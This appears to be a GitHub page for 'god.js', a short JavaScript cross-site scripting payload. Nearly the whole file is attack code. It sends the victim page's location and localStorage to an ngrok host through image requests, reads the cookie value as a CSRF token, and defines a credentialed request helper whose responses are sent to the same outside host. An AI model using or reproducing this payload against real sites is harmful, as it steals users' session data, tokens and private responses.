-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathgod.js
More file actions
36 lines (30 loc) · 833 Bytes
/
god.js
File metadata and controls
36 lines (30 loc) · 833 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
leak = function(name, data)
{
var i = document.createElement('img');
i.src = "http://b789a781.ngrok.io/?" + name + "=" + btoa(encodeURI(data));
document.body.appendChild(i);
}
function reqListener () {
try {
data = unescape(encodeURIComponent(this.responseText));
leak("response", data);
}
catch(e)
{
leak("exception", e.name + ":" + e.message);
}
}
get = function(url)
{
var XHR = new XMLHttpRequest();
XHR.addEventListener('error', function( event ) {
leak("get_error","Something went wrong");
});
XHR.addEventListener('load', reqListener);
XHR.withCredentials = true;
XHR.open('GET', url);
XHR.send();
}
var csrf = document.cookie.split('=')[1];
leak("location",JSON.stringify(document.location));
leak("localstorage", JSON.stringify(localStorage));